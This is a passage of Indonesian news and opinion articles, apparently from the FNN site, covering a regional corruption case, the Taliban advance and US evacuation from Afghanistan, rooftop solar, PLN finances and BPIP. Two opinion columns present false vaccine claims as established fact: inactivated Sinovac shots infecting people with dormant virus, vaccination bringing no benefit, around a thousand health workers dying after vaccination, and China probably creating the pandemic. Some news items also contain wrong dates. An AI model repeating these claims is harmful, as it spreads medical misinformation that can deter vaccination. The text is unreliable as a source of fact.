pihaknya sebelumnya sudah melakukan penyitaan uang tunai sekitar Rp204,2 juta, dan uang tersebut diamankan dari sejumlah pihak termasuk dari dua tersangka ini. Kejaksaan negeri setempat juga melakukan penyitaan terhadap barang berupa satu paket mesin air minum kemasan yang berada pada pihak ketiga berlokasi di Bandung, Provinsi Jawa Barat, dengan nilai Rp124 juta. Menurut dia, penyitaan berbagai aset negara yang ada pada BUMD itu diharapkan dapat menutupi jumlah kerugian negara akibat kasus korupsi ini. Ia menyebutkan berdasarkan hasil audit BPKP perwakilan Provinsi Bengkulu, kerugian negara akibat korupsi anggaran BUMD mencapai sekitar Rp1 miliar lebih. Dalam kasus ini, Kejaksaan Negeri Mukomuko telah menahan dua orang tersangka, yakni BI dan ASW. Keduanya merupakan mantan direktur utama dan direktur BUMD. Tersangka terancam Pasal 2 ayat 1 Jo. Pasal 18 Undang-Undang (UU) Nomor 31 Tahun 1999 sebagaimana telah diubah ke UU Nomor 20 Tahun 2021 tentang pemberantasan tindak pidana korupsi. Jo. Pasal 55 ayat 1 KUHP dan subsider Pasal 3 Jo. Pasal 18 ayat 1,2,3 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana diubah dalam UU Nomor 20 Tahun 2021 Jo. Pasal 55 ayat 1 KUHP. (mth)

Korban Masih Bergelimpangan, Kebijakan Wajib Vaksin Diketatkan, Pemerintah Tutup Mata?

Oleh: Mochamad Toha Gubernur DKI Jakarta Anies Baswedan telah mengeluarkan keputusan wajib vaksinasi untuk setiap orang yang akan beraktivitas di tempat-tempat yang telah ditentukan. Masyarakat harus sudah divaksinasi minimal dosis pertama. Aturan itu sebagaimana tertuang dalam Keputusan Gubernur Provinsi DKI Jakarta Nomor 966 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4 Corona Virus Desease 2019. Keputusan itu sebagai pelaksanaan Instruksi Menteri Dalam Negeri Nomor 27 tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4, Level 3, dan Level 2 Corona Virus Desease 2019 di Wilayah Jawa dan Bali. Dalam Keputusan Gubernur yang ditetapkan pada 3 Agustus 2021, diterangkan selama masa PPKM Level 4, setiap orang yang akan melakukan aktivitas di setiap tempat atau sektor-sektor yang telah ditetapkan, harus sudah divaksinasi Covid-19, minimal dosis pertama. Bukti telah dilakukannya vaksinasi tersebut dapat ditunjukkan dengan sertifikat vaksin yang diunduh melalui aplikasi Jakarta Kini (JAKI) atau laman PeduliLindungi.id. “Kecuali, bagi warga yang masih dalam masa tenggang 3 (tiga) bulan pasca terkonfirmasi Covid-19, dapat menunjukkan bukti hasil laboraturium, dan penduduk yang kontraindikasi dilakukan vaksinasi Covid-19 berdasarkan hasil pemeriksaan medis dapat menunjukkan bukti surat keterangan dokter, serta anak-anak usia kurang dari 12 tahun,” kata Gubernur Anies di Balai Kota Jakarta, pada Kamis (5/8/2021). Penerapan prokes Covid-19 dan penegakan sanksinya dalam Keputusan Gubernur tersebut dilakukan sesuai dengan ketentuan dalam Peraturan Gubernur Nomor 3 Tahun 2021 tentang Peraturan Pelaksanaan Peraturan Daerah Nomor 2 Tahun 2020 tentang Penanggulangan Corona Virus Desease 2019. Yang perlu dikaji ulang dari kebijakan “Wajib Vaksin” oleh Pemerintah itu, apakah sudah dipikirkan efek simpang dari vaksin yang ternyata telah menelan korban meninggal dunia akibat vaksin? Menyusul banyaknya korban di kalangan tenaga kesehatan, demi meningkatkan imunitas para nakes yang berada di garda terdepan, Kemenkes akan vaksinasi ketiga booster kepada 1,47 juta nakes dengan Vaksin Moderna asal Amerika Serikat. Hasil evaluasi akhir itu saat menghitung efikasi vaksin secara keseluruhan dalam melawan infeksi dari Covid-19 sebesar 94,1 persen. Angka ini lebih rendah daripada yang diumumkan Moderna pada 16 November lalu yakni 94,5 persen. Sebelumnya, berdasarkan data Tim Mitigasi IDI terdapat 949 tenaga kesehatan yang wafat akibat Covid-19 selama pandemi. Rinciannya, sejak Maret 2020 hingga 26 Juni 2021, yaitu 401 dokter umum dan spesialis, 43 dokter gigi, 315 perawat, 150 bidan, 15 apoteker, dan 25 tenaga laboratorium medik. Mereka ini telah disuntik dengan Vaksin Sinovac asal China. Dan, kini terdapat hampir seribu tenaga kesehatan yang sedang menjalani isolasi mandiri hingga perawatan intensif. Untuk dokter, setelah program vaksinasi dilakukan, terdapat 88 dokter yang meninggal. Detailnya, 20 dokter telah menerima vaksin (10 orang dari Februari 2021-Mei 2021, dan 10 orang pada Juni 2021), 35 dokter belum divaksin, dan 33 dokter masih dalam konfirmasi. Sementara, menurut data PPNI, terdapat 28 perawat meninggal akibat Covid pasca liburan Lebaran Mei tahun ini hingga 26 Juni lalu. Dari jumlah tersebut, 10 perawat telah menerima vaksin, 17 belum divaksin karena komorbid, dan satu masih dalam konfirmasi. Menurut Ketua Umum DPP PPNI Harif Fadhillah, faktor yang menyebabkan banyaknya perawat meninggal terinfeksi Covid-19, karena mereka bekerja pada tempat yang memiliki risiko tinggi terpapar, penyakit itu sendiri, dan penyakit penyerta. Perlu dicatat, vaksin Sinovac itu terbuat dari Virus Corona yang sudah “dilemahkan atau dimatikan”. Jika vaksinasi yang kini sedang berjalan itu tidak dihentikan sementara, hal itu sama saja dengan menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Sebab, virus yang inactivated itu, dipastikan ada yang dormant (tidur). Nah, yang dorman dan dikira mati itulah pada saat atau dengan suhu tertentu akan bangun dari tidurnya! Bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, faktanya saat ini mutasi corona sampai ribuan karakter atau varian. Karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor ACE-2 (Angiotensin Converting Enzyme 2) saja, tapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis, seperti yang menimpa penyanyi yang meninggal beberapa bulan lalu. Ada yang langsung berikatan atau menempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR (Polymerase Chain Reaction): positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Fakta klinis tersebut ditemukan di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan saja, tapi Covid-19 juga sudah mulai menginfeksi saluran pencernaan, sistem saraf, hingga mata. Kabarnya, basic dari vaksin ini adalah kasus SARS-Corona 5 tahun lalu, bukan Covid-19 ini. Apakah efektif untuk Covid-19? Kematian dr. JF di Palembang, sehari setelah divaksin, dan DR. Eha Soemantri SKM, MKes, di Makassar, menjadi bukti Sinovac tidak aman. Begitu juga yang menimpa Novilia Sjafri Bachtiar, Kepala Divisi Surveilans dan Uji Klinik Bio Farma yang juga Dosen Luar Biasa Fakultas Farmasi Universitas Padjadjaran, Bandung, yang meninggal dunia. Kabarnya, Novilia meninggal dunia karena terinfeksi Covid-19. Novilia adalah Kepala Tim Peneliti Uji Klinis vaksin Sinovac di tanah air dari Bio Farma. Dia mengawal proses uji klinis vaksin Covid-19 yang sudah dimulai sejak Agustus 2020. Semua korban tersebut sudah pernah divaksin 2 kali yang akhirnya terpapar Covid-19 juga. Data dan fakta itu bukanlah hoax. Karena, semua itu fakta yang terjadi dan disiarkan secara resmi oleh IDI juga. Dus, mengapa Pemerintah memaksakan vaksin kepada rakyat? Padahal, tidak ada dampak positifnya. Apakah Gubernur Anies Baswedan tidak pernah baca kabar sekitar seribu nakes yang meninggal pasca vaksinasi? Apakah Pemerintah tidak pernah mengkaji kasus Trio Fauqi Virdaus, warga Buaran, Jakarta Timur, yang meninggal dunia sehari setelah disuntik vaksin AstraZeneca? Apalagi, dari hasil otopsi menyebut, tidak ada komorbid pada korban. Hasil autopsi dibacakan dokter RSCM pada Selasa sore akhir Juli 2021. Hanya menerangkan dua poin saja, yakni Trio dinyatakan tidak ada komorbid atau penyakit penyerta. Poin dua, ada flek hitam di paru-paru, tapi flek ini tak berkaitan dengan kematian. Amelia Wulandari, seorang mahasiswi akhir pada Fakultas Hukum Universitas Syiah (USK) Kuala Banda Aceh, Minggu (1/8/2021) harus dirawat di RSUD Cut Nyak Dhien Meulaboh karena lumpuh setelah mendapatkan vaksinasi anti-Covid-19 oleh nakes. Menurut epidemiolog Dr. Tifauzia Tyassuma, WHO telah melarang vaksinasi paksa, apalagi diikuti ancaman hukuman pada rakyat. Seperti, tidak bisa memperpanjang SIM, STNK juga hukuman jika tidak mau menerima vaksin. Tiada satu pun negara di bumi ini, boleh melakukan program penyuntikan vaksinasi, dalam situasi emergency sekalipun, dengan paksaan, ancaman dan lain-lain pada rakyatnya. Sejak WHO berdiri tahun 1958, vaksinasi itu Program Sukarela, bukan program Mandatory. “Tugas Pemerintah, untuk menyediakan vaksin terbaik, berikan edukasi terbaik, memberikan pemahaman terbaik. Bukan memberikan ancaman apalagi hukuman pada rakyatnya,” ungkap Dokter Tifauzia. “Kalau ada satu rakyat, yang cedera karena vaksin, membuat cacat, dan meninggal karena vaksin... Saya mau tanya pada Presiden, pada Menteri Kesehatan, Kapolri dan lain-lain, tanggungjawab apa yang bisa Anda berikan kepada penerima vaksin?” Dari 3 pertanyaan di atas, seharusnya Pemerintah, Presiden, Menkes dll, punya kepekaan hati rasa yang tinggi. Semua nakes, seluruh rakyat Indonesia, sadar bahwa vaksinasi corona, demi agar Pandemi ini bisa segera selesai, adalah pilihan yang harus dipertimbangkan. Dan jika Pemerintah, punya kehendak baik, untuk menyediakan yang terbaik bagi rakyatnya, dan tidak memberikan vaksin sembarangan dengan risiko yang harus ditanggung oleh rakyat sendiri, men-support, mendukung, dan mendorong secara penuh, agar vaksin Merah Putih segera jadi dan bisa digunakan secepat mungkin. “Kita punya Laboratorium, pabrik vaksin, ilmuwan hebat-hebat yang sudah puluhan tahun memproduksi Vaksin, bahkan mengekspor ke negara-negara lain,” ungkap Doter Tifauzia. Dan, para ilmuwan itu, sudah menyatakan sanggup untuk membuat vaksin Merah Putih, dan asalkan Pemerintah mensupport, vaksin bisa jadi pada 2021, dan bisa digunakan secara luas. “Kenapa vaksin Merah Putih tidak di-support, didukung, disegerakan untuk jadi? Saya tidak Anti vaksin. Tetapi saya tidak mau disuntik vaksin selain vaksin dari virus Asli Indonesia, vaksin yang dibuat oleh bangsa Indonesia sendiri. Titik! Tanpa Syarat!,” tegasnya. Penulis adalah Wartawan FNN.co.id

Taliban Rebut Jalalabad Tanpa Perlawanan, 84 Tentara Afghanistan Ditahan

Kabul, FNN - Pasukan Taliban mengambil alih kendali Jalalabad, kota kunci Afghanistan di wilayah Timur Afghanistan, tanpa perlawanan. Menurut keterangan pejabat setempat, pada Ahad (15/8) pagi, mereka mengamankan jalan-jalan yang terhubung dari Afghanistan ke Pakistan “Tidak ada pertikaian dalam merebut tempat itu saat ini di Jalalabad karena pemerintah sendiri sudah menyerah kepada Taliban,” kata pejabat Afghanistan yang berbasis di Jalalabad kepada Reuters. “Memberi jalan kepada Taliban adalah satu-satunya cara untuk menyelamatkan nyawa warga sipil,” kata pejabat yang tidak mau disebutkan namanya itu. Pejabat keamanan wilayah Barat juga telah memastikan jatuhnya kota tersebut, salah satu kota pinggiran Kabul yang masih berada di bawah kendali pemerintah. Tentara Afghanistan Ditahan Dalam perkembangan lainnya dilaporkan Uzbekistan telah menahan 84 tentara Afghanistan yang melintasi perbatasan pada Sabtu, 14 Agustus 2021. Menurut keterangan pemerintah Uzbekistan, sekelompok tentara lain telah berkumpul di dekat pos pemeriksaan perbatasan di sebelah wilayah Afghanistan. Prajurit Afghanistan melintasi perbatasan ke Uzbekistan dan Tajikistan bulan lalu ketika mereka mundur dari serangan gerilyawan Taliban, yang berhasil merebut sejumlah wilayah penting dalam beberapa hari terakhir kecuali ibu kota Kabul. Kementerian luar negeri Uzbekistan mengatakan, dalam sebuah pernyataan, mengatakan, kelompok pertama yang terdiri dari 84 tentara Afghanistan tidak berusaha melawan ketika ditangkap penjaga perbatasan Uzbekistan, namun mencari bantuan medis. Pemerintah Uzbekistan juga memberikan bantuan kemanusiaan kepada sekelompok tentara Afghanistan yang telah berkumpul di sisi jembatan Termez-Khairaton Afghanistan. Jembatan itu menjadi penghubung kedua negara yang dapat dilintasi oleh mobil dan kereta api. Uzbekistan sedang dalam pembicaraan dengan Kabul untuk memulangkan pasukan Afghanistan dan menyelesaikan situasi di jembatan Termez-Khairaton. (MD)

Teknologi Pembangkit Listrik Tenaga Surya Atap Semakin Ekonomis

Jakarta, FNN - Pengguna pembangkit listrik tenaga surya (PLTS) atap diharapkan terus bertambah menyusul teknologi yang kian mutakhir dan biayanya semakin ekonomis. Direktur Strategi Bisnis dan Portofolio PT Len Industri (Persero) Linus Andor Mulana Sijabat mengatakan, teknologi panel surya sudah semakin mutakhir, sehingga penggunaannya tidak lagi rumit. Menurut dia, panel surya hanya perlu diletakkan di area yang terkena sinar matahari langsung. Misalnya, di atap rumah atau gedung, dan sudah langsung dapat mengalirkan listrik. "Kalau kita lihat, solar cell sebenarnya sudah tidak high tech, dapat langsung dipakai. Tinggal dijemur saja ke (sinar) matahari, langsung keluar listrik. Ini sudah umum," ujarnya pada Peluncuran Program Gerakan Inisiatif Listrik Tenaga Surya (Gerilya) seperti dikutip dari laman Kementerian ESDM di Jakarta, Ahad, 15 Agustus 2021. Indonesia memiliki potensi PLTS atap yang cukup besar, yakni mencapai 32.500 MW. Akan tetapi, yang baru dimanfaatkan sebesar 31,32 MW peak (MWp). Hingga Mei 2021, PLTS atap tercatat digunakan oleh 3.781 pelanggan atau meningkat drastis dibandingkan pemanfaatan posisi November 2018 yang hanya 592 pelanggan. Linus mengatakan, teknologi crystalline yang jamak digunakan pada panel surya juga telah memiliki tingkat efisiensi yang tinggi. Teknologi tersebut sudah mutakhir dan terbukti. "Teknologi yang banyak digunakan adalah teknologi crystalline. Secara termodinamik, efisiensinya 30 persen secara teoritis, praktisnya mungkin sekitar 27 persen. Teknologi ini sudah mature, jadi sudah pasti proven. Kalau di segi ekonomi sudah pasti ekonomis," katanya sebagaimana dikutip dari Antara. Kementerian Energi dan Sumber Daya Mineral (ESDM) menargetkan kapasitas 70 MWp PLTS atap akan terpasang pada akhir tahun 2021. Dengan teknologi yang kian mutakhir dan biaya yang semakin ekonomis, pemerintah pun mendorong pemanfaatan PLTS atap yang lebih luas lagi dengan menerbitkan aturan yang ramah bagi penggunanya. Saat ini, sedang disusun Rancangan Peraturan Menteri (Permen) ESDM tentang Pembangkit Listrik Tenaga Surya Atap yang Terhubung pada Jaringan Tenaga Listrik Pemegang Izin Usaha Penyediaan Tenaga Listrik untuk Kepentingan Umum. Regulasi tersebut merupakan perluasan dari Permen ESDM No.49/2018 tentang Penggunaan Sistem Pembangkit Listrik Tenaga Surya Atap oleh Konsumen PT PLN (Persero) jo Permen ESDM No. 13/2019 jo Permen ESDM No. 16/2019. "Dengan disusunnya Rancangan Permen ESDM terkait PLTS Atap, diharapkan pemanfaatan PLTS atap akan semakin meningkat. Salah satu yang diatur dalam permen ini adalah memperluas pengguna PLTS atap dan meningkatkan nilai keekonomian PLTS atap," ujar Kepala Biro Komunikasi, Layanan Informasi Publik, dan Kerja Sama Kementerian ESDM Agung Pribadi. Selain itu, dalam regulasi tersebut juga akan meningkatkan peran masyarakat dalam penggunaan EBT melalui PLTS atap. Juga diharapkan dapat mencapai target kapasitas PLTS atap dengan memperhatikan sistem ketenagalistrikan pemegang IU PTLU. Kemudian, mempercepat proses persetujuan permohonan, mempermudah kelayakan operasi, mempermudah pengawasan dan pengaduan masyarakat, memfasilitasi perdagangan karbon, dan menjaga kestabilan sistem ketenagalistrikan. (MD).

Evakuasi Staf Kedutaan, Amerika Serikat Kirim 5.000 Pasukan ke Afghanistan

Washington, FNN - Presiden AS Joe Biden telah menyetujui pengiriman pasukan militer tambahan ke Kabul untuk membantu evakuasi staf kedutaan mereka dari Afghanistan. Dalam sebuah pernyataan, Biden mempertahankan keputusannya menarik pasukan AS dari Afghanistan. Alasan penarikan itu, supaya pasukan Afghanistan melawan kelompok bersenjata Taliban yang berusaha merebut kekuasaan negara tersebut. "Berdasarkan rekomendasi diplomat, militer dan tim intelijen, saya telah mengizinkan pengerahan sekitar 5.000 prajurit AS untuk memastikan penarikan personel AS dan personel sekutu lain secara tertib dan aman, " kata Biden sebagaimana dikutip dari Antara, Ahad, 15 Agustus 2021. Seorang pejabat pertahanan yang enggan disebut namanya mengatakan dari 5.000 prajurit yang dikatakan Biden, 4.000 di antaranya sudah diumumkan sebelumnya. Sekitar 1.000 lainnya baru disetujui dan berasal dari Divisi Udara ke-82. Biden mengatakan, pemerintahannya telah berkata pada para petinggi Taliban di Qatar bahwa tindakan apa pun yang bisa membahayakan personel AS "akan direspons dengan cepat dan kuat oleh militer AS." Namun, dia juga mengatakan kehadiran militer AS yang tanpa batas bukanlah sebuah pilihan. "Setahun lagi, atau lima tahun lagi, keberadaan militer AS tidak akan membuat perbedaan jika militer Afghanistan tidak bisa atau tidak menjaga negara mereka sendiri. Kehadiran Amerika yang tidak ada akhirnya di tengah konflik sipil negara lain tidak dapat saya terima," kata Biden. Pasukan tambahan juga akan mengevakuasi sejumlah warga Afghanistan lewat program visa khusus. Departemen Luar Negeri AS telah mengontak para advokat untuk meminta nama-nama orang Afghanistan di Kabul yang sudah bekerja dengan personel AS dan perlu dievakuasi. Menurut sumber yang memahami permasalahan tersebut, daftar nama itu dapat meliputi wartawan dan aktivis hak asasi manusia. Biden telah menetapkan 31 Agustus sebagai batas akhir resmi dari misi militer AS di Afghanistan dalam upayanya melepaskan AS dari konflik yang dimulai setelah Al-Qaida menyerang AS pada 11 September 2011. Keputusan Biden pada Sabtu (14/8) diambil di tengah tekanan terhadap dirinya terkait rencana penarikan pasukan AS yang mengundang berbagai kritik paling tajam selama enam bulan pemerintahannya. Cuitan dari Senator Republik Lindsey Graham di Twitter merefleksikan sejumlah kritik itu: "Jika Presiden Biden sungguh-sungguh tidak menyesali keputusannya untuk menarik (pasukan), maka dia terputus dari kenyataan ketika keputusan itu menyangkut Afghanistan." Taliban telah mengambil alih banyak wilayah Afghanistan. Mereka merebut sebuah kota utama di utara Afghanistan pada Sabtu (14/8), dan semakin mendekati Kabul. Situasi tersebut membuat negara-negara Barat berlomba mengevakuasi warga negara mereka dari ibu kota itu. (MD)

Masalah PLN, Erick Tohir Mulai Buang Badan

Oleh Ahmad Daryoko MENTERI BUMN Erick Tohir menyampaikan titahnya agar PLN tidak bikin proyek aneh-aneh lagi yang membuang duit. Dengan statemen di atas terkesan Erick Thohir "buang badan" terhadap kesalahan managerial PLN dan seolah dia paling bersih tanpa kesalahan. Bagi rakyat, kesalahan langkah pengelolaan negara itu berdampak pada tingkat kesejahteraan, dalam hal PLN pastilah kenaikan tarif. Kesalahan langkah itu rata- rata karena kerakusan pejabat. Makin tinggi jabatan dampaknya makin luas. Dengan demikian clear bahwa proyek 35.000 MW yang dilaunching Jokowi - atas desakan Wapres JK - pada awal 2015 itu, menurut Erick, adalah proyek "buang buang duit". Karena proyek itu kini mengakibatkan "over supply" 47%. Dua bulan yang lalu COD beberapa PLTU dengan kapasitas total sekitar 6.000 MW tertunda. Tetapi pembangkit-pembangkit swasta tersebut tetap terima duit 70% penjualan stroom per harinya (Top Clause). Artinya terjadi pemborosan ber miliar-miliar uang rakyat untuk bayar stroom yang tidak terpakai yang semuanya dipastikan berasal dari utang luar negeri. Itu semua rakyat yang akhirnya akan mikir pengembalian utang itu, bukan Jokowi. Tetapi saat proyek itu dilaunching hampir semua pejabat di kementerian ESDM, BUMN "ngotot" bahwa proyek 35.000 MW memang harus diwujudkan. Sebab kalau tidak Indonesia akan bangkrut. Menko Rizal Ramli yang menentang pun dicopot. Terus sekarang dengan "enteng" nya Erick bilang PLN jangan bikin proyek gak perlu? Lha kok enak? Terus PLTU Batang 2.000 MW itu milik siapa kalau bukan milik keluarganya? Dan munculnya nafsu serakah itu memang dikondisikan secara "sistemik" dengan terbitnya "The White Paper" Kebijakan Restrukturisasi Sektor Ketenagalistrikan oleh Departemen Pertambangan dan Energi pada 25 Agustus 1998. Dan itupun didorong oleh IFIs (WB,ADB,IMF) dengan apa yg dinamakan sebagai "The Power Sector Restructuring Program" (PSRP). Itupun muncul karena adanya Letter Of Intent (LOI) pada 31 Oktober 1997. Intinya dalam grand design "The White Paper" itu PLN Jawa-Bali hanya boleh mengelola Transmisi dan Distribusi. Makanya jangan heran kalau saat ini ada program Holdingisasi PLTP ke Pertamina karena program tersebut untuk "membersihkan" pembangkit PLN yg beroperasi di Jawa-Bali sesuai doktrin "The White Paper" tersebut! Tujuannya agar di Jawa-Bali terjadi kompetisi penuh (MBMS) kelistrikan tanpa ada gangguan dari pembangkit PLN lagi. Sehingga ber pesta pora lah "oknum" yang bisa memanfaatkan "turbulensi" listrik ini seperti Dahlan Iskan, JK, Luhut BP, Erick sendiri. Kemudian ada utang PLN Rp 500 triliun? Itu sebagai akibat doktrin Pemerintah agar PLN memfasilitasi jaringan Transmisi dan Distribusi sesuai "The White Paper" itu. Terutama guna menyalurkan "stroom" dari Power Station yang 35.000 MW itu, yang akhirnya "mangkrak" karena saat ini sudah "over supply" ! Berarti Rp 500 T itu membiayai proyek "mangkrak", atau memproduksi besi tua dalam wujud Transmisi/Distribusi yang gagal tidak jadi dilewati "stroom" 35.000 MW. Kesimpulan Erick Tohir ini rupanya sedang "buying time" menunggu pelaksanaan program Holdingisasi PLTP PLN ke Pertamina. PLTA+PLTA PLN diserahkan ke PUPR, relokasi PLTGU PLN ke luar Jawa. Setelah itu Indonesia Power dan PJB bubar. Sedangkan PLN Holding (yg di Jawa-Bali) akan di "transformasi" (bahasa "keren" nya Direksi PLN) menjadi PTJB (Perusahaan Transmisi Jawa-Bali) dan Perusahaan Distribusi Jawa-Bali (PDJB). P2B (Pusat Pengatur Beban) Jawa- Bali akan dijadikan Lembaga Independen Pengatur Sistem dan Pengatur Pasar. Setelah itu dimulailah pesta MBMS secara murni karena tidak ada lagi instrumen PLN guna menyalurkan subsidi listrik. Paling2-paling nanti dialihkan menjadi KTL (Kartu Tenaga Listrik) yang dibagikan lewat RT/RW itupun kalau ada dananya. Kalau tidak ya rakyat yang tidak mampu terpaksa pakai lilin, teplok, sentir, gembreng dll. Penilis Koordinator INVEST

Sebaiknya Vaksin Jangan Dipaksakan

Adagium menyelesaikan masalah tanpa menimbulkan masalah perlu menjadi pedoman kerja rezim Jokowi yang selama ini nyaris tutup masalah gali masalah yang mengakibatkan terkesan rezim ini hanya menang dalam tingkat operasi (pelaksanaan pemberian vaksin) tapi sesungguhnya kalah dalam tataran strategi (simpati dan kepercayaan rakyat) Oleh Sugengwaras SEJAK dulu, strategi diakui sebagai tataran tertinggi, karena mendasari operasi, yang selanjutnya operasi mendasari taktik dan tehnik Seiring perkembangan dan kemajuan teknologi maka tehnik mendominasi dan mengiringi strategi, operasi maupun taktik Sebelum hukum ada dan mengatur peradaban, awal muawalnya adalah berangkat dari Hak Asasi Manusia (HAM) yang dimulai dari individu hingga kelompok yang kini kita kenal dengan suku, bangsa, negara, regional dan multinasional/global. Kemudian dengan adanya kesamaan dan persaingan kepentingan antar individu atau kelompok, munculah gesekan atau konflik individu atau kelompok Dalam upaya mencari serta memperoleh kebenaran dan keadilan, lahirlah hukum yang mempunyai sifat mengikat terhadap aturan yang harus dipatuhi serta memaksa terhadap hal hal yang dilanggar, bahkan ada diskresi hukum yang berlaku dalam situasi dan kondisi yang tidak seperti biasanya atau dalam keadaan darurat HAM hingga kini masih tetap dan terus menjadi dasar pertimbangan dalam membuat kebijakan atau keputusan meskipun beberapa waktu yang lalu komnasham RI telah merusak citra HAM di Indonesia tentang adanya indikasi konspirasi dengan kepolisian dalam menguatkan pernyataan Polri atas telah terjadinya tembak menembak yang menewaskan enam laskar FPI pengawal IB HRS di km 50 jalan tol Jakarta Cikampek, yang hingga kini masih menjadi borok, bau tidak sedap dan hutang kebenaran dan kejujuran Polri kepada masyarakat. Sesungguhnya pengertian vaksin identik dengan imunisasi, bedanya imun lebih melekat dan mendahului dalam tubuh manusia, sedangkan vaksin merupakan suplemen /komplemen dari luar tubuh seseorang yang bisa memperkuat / kebal (jika ada kesesuaian dengan kebutuhan tubuh), sebaliknya mengakibatkan kelemahan, kehancuran atau kerusakan tubuh mana kala tidak sesuai dengan keperluan tubuh Sedangkan imunisasi adalah kekebalan yang memang telah ada dimiliki tubuh sebelum divaksin atau tanpa divaksin Pemahaman vaksinasi dan imunisasi ini harus dipahami dan disadari rezim ini, agar kebijakan yang diambil tidak membuat gaduh masyarakat. Disisi lain masyarakat harus sadar dan paham bahwa langkah upaya berupa pemberian vaksin yang dilakukan pemerintah semata mata untuk memberikan kekebalan tubuh dalam rangka pencegahan menghadapi penularan Covid - 19. Sebaliknya rezim juga harus paham bahwa banyak orang tanpa divaksin telah memiliki imun diri yang bisa kebal menghadapi Covid, sehingga tidak harus dipaksa dan diintimidasi Hal ini diperkuat adanya fakta yang menunjukkan masih bisa tertular vaksin bahkan meninggal dunia bagi mereka yang telah mendapatkan vaksin, sebaliknya tidak tertular Covid -19 bagi mereka yang tidak/belum divaksin. Kita harus berpikir integral komprehensif, percaya takdir dan ketentuan Allah, kejadian alam, juga percaya adanya ulah perbuatan manusia. Dalam ilmu perang, ada dikenal psy war, perang non militer termasuk perang biologi, yang bisa seperti pandemi Covid- 19 saat ini. Sangat kuat dugaan pandemi dibikin oleh Cina, karena faktanya awal munculnya dari Wuhan RRC dalam rangka menguasai dunia termasuk Indonesia. Sayangnya seolah ditutup tutupi oleh rezim Jokowi hal hal terkait penguasaan atau penjajahan Cina terhadap Indonesia dalam banyak aspek kehidupan bernegara. Obyek obyek vital strategis seperti pelabuhan, bandara, sarana sarana transportasi, sumber daya alam dan buatan, nyaris telah dikuasai dan dikelola Cina artinya kita sudah kalah tanpa perang. Sebenarnya secara strategis kemampuan dan kekuatan kita sudah lumpuh, namun bisa bisanya para stake holder negara ini masih bisa tolak pinggang dan cengangas cengenges sambil menginjak injak rakyatnya dengan cara cara halus maupun vulgar. Contoh konkrit menjadikan vaksin sebagai persyaratan dalam segala urusan. Pemberian vaksin yang dicanangkan rezim ini tidak masalah, namun yang menjadi masalah ketika rezim memaksakan vaksin ini kepada masyarakat dengan intimidasi. Rezim harus punya malu dan harga diri terkait beberapa menteri yang koplak seperti kebijakan dan statemen LBP yang mensyaratkan (sertifikat) vaksin dalam berbagai urusan, MenAg yang terseret kasus pelecehan terhadap Tahun baru Islam, juga Men Kes yang memprediksi masih bertahun tahun lagi Covid akan berlangsung lama dan panjang. Ini benar benar sikap dan kebijakan yang kekanak-kanakan. Konyolnya TNI POLRI masih mau diseret seret untuk membackingi program ini Saya juga nggak paham, kenapa TNI POLRI mau maunya terseret dalam kasus ini Kesimpulannya, sebaiknya pemerintah harus mencabut atau membatalkan kebijakan tentang label vaksin sebagai persyaratan dalam beberapa urusan, yang tidak tepat dan tidak bermanfaat, selain menambah beban moral dan tetesan air mata rakyat Penulis Purrnawirawan TNI AD.

Dedi Mulyadi Kaget Ada WNI Cina Kerja di Pabrik

Jakarta, FNN - Anggota DPR RI Dedi Mulyadi terkejut menemukan seorang Warga Negara Asing (WNA) asal China yang bekerja menjadi pencatat keluar-masuk barang dan mobil di salah satu pabrik di wilayah Kabupaten Purwakarta, Jabar. ”Saya heran, karena seharusnya WNA itu bekerja di tenaga terampil,” kata Dedi dalam sambungan telepon seluler di Karawang, Sabtu. Keberadaan WNA asal China itu ditemui saat Dedi akan menemui kembali warga Kecamatan Sukasari yang hutan bambunya dibabat oleh orang mengaku memiliki izin perhutanan sosial untuk dijadikan kebun pisang. Di perjalanan Dedi melihat sebuah truk semen besar yang melintas. Rupanya truk tersebut menuju ke pabrik hebel yang berada di jalur Maracang-Babakan Cikao. Akhirnya ia menuju ke pabrik tersebut untuk meminta penjelasan. Sesampainya di lokasi, Dedi bertemu dengan dua orang pria penjaga yang bertugas mencatat keluar masuk barang dan mobil. Salah satu pria tersebut rupanya seorang WNA China yang mengaku bernama Lauchen. WNA tersebut tidak bisa menjawab pertanyaan Dedi yang menanyakan siapa penanggung jawab perusahaan. Ia mengaku hanya tahu bahwa bosnya bernama Tayo yang juga seorang WNA China dan sedang pulang ke negara asalnya. Atas temuan itu, Dedi langsung berkoordinasi dengan Kepala Dinas Tenaga Kerja dan Transmigrasi Titov Firman. Dedi menanyakan apakah boleh dan lazim seorang WNA bekerja menjadi petugas pencatat keluar masuk barang dan mobil di sebuah perusahaan. Karena semestinya WNA itu bekerja sebagai tenaga terampil. Atas temuan dan laporan itu, Titov mengaku akan menindaklanjutinya, agar ada kejelasan mengenai WNA China yang bekerja di pabrik hebel tersebut. (sws)

Idap ‘Skizofrenia’, BPIP Telah Kehilangan Arah yang Akut

Jakarta, FNN - Badan Pembinaan Ideologi Pancasila (BPIP) telah kehilangan arah yang akut dan cenderung mengidap ‘skizofrenia’, sejenis gangguan jiwa dalam proses berpikir terbelah yang halusinatif dan paranoia, dalam merespon isu-isu besar nasional. Sehingga, tidak tahu dan tak mengerti apa yang harus dilakukan. Peneliti senior Lingkaran Survei Indonesia (LSI) Denny JA, Toto Izul Fatah, mengatakan hal itu kepada pers di Jakarta, Sabtu (14/8). Ia menanggapi lomba artikel yang digelar BPIP dengan tema, “Hormat Bendera Menurut Hukum Islam dan Menyanyikan Lagu Kebangsaan Menurut Hukum Islam”. Tujuannya, kata Staf Khusus Ketua Dewan Pengarah BPIP, Benny Susetyo, untuk pemaknaan nilai-nilai keagamaan dalam memperkuat kebangsaan. Toto berpendapat, acara lomba yang digelar BPIP itu sama sekali tak menggambarkan kecerdasan, sensitivitas dan aktualitas tentang apa yang seharusnya dilakukan lembaga negara tersebut. Bahkan, lomba yang diadakannya justru 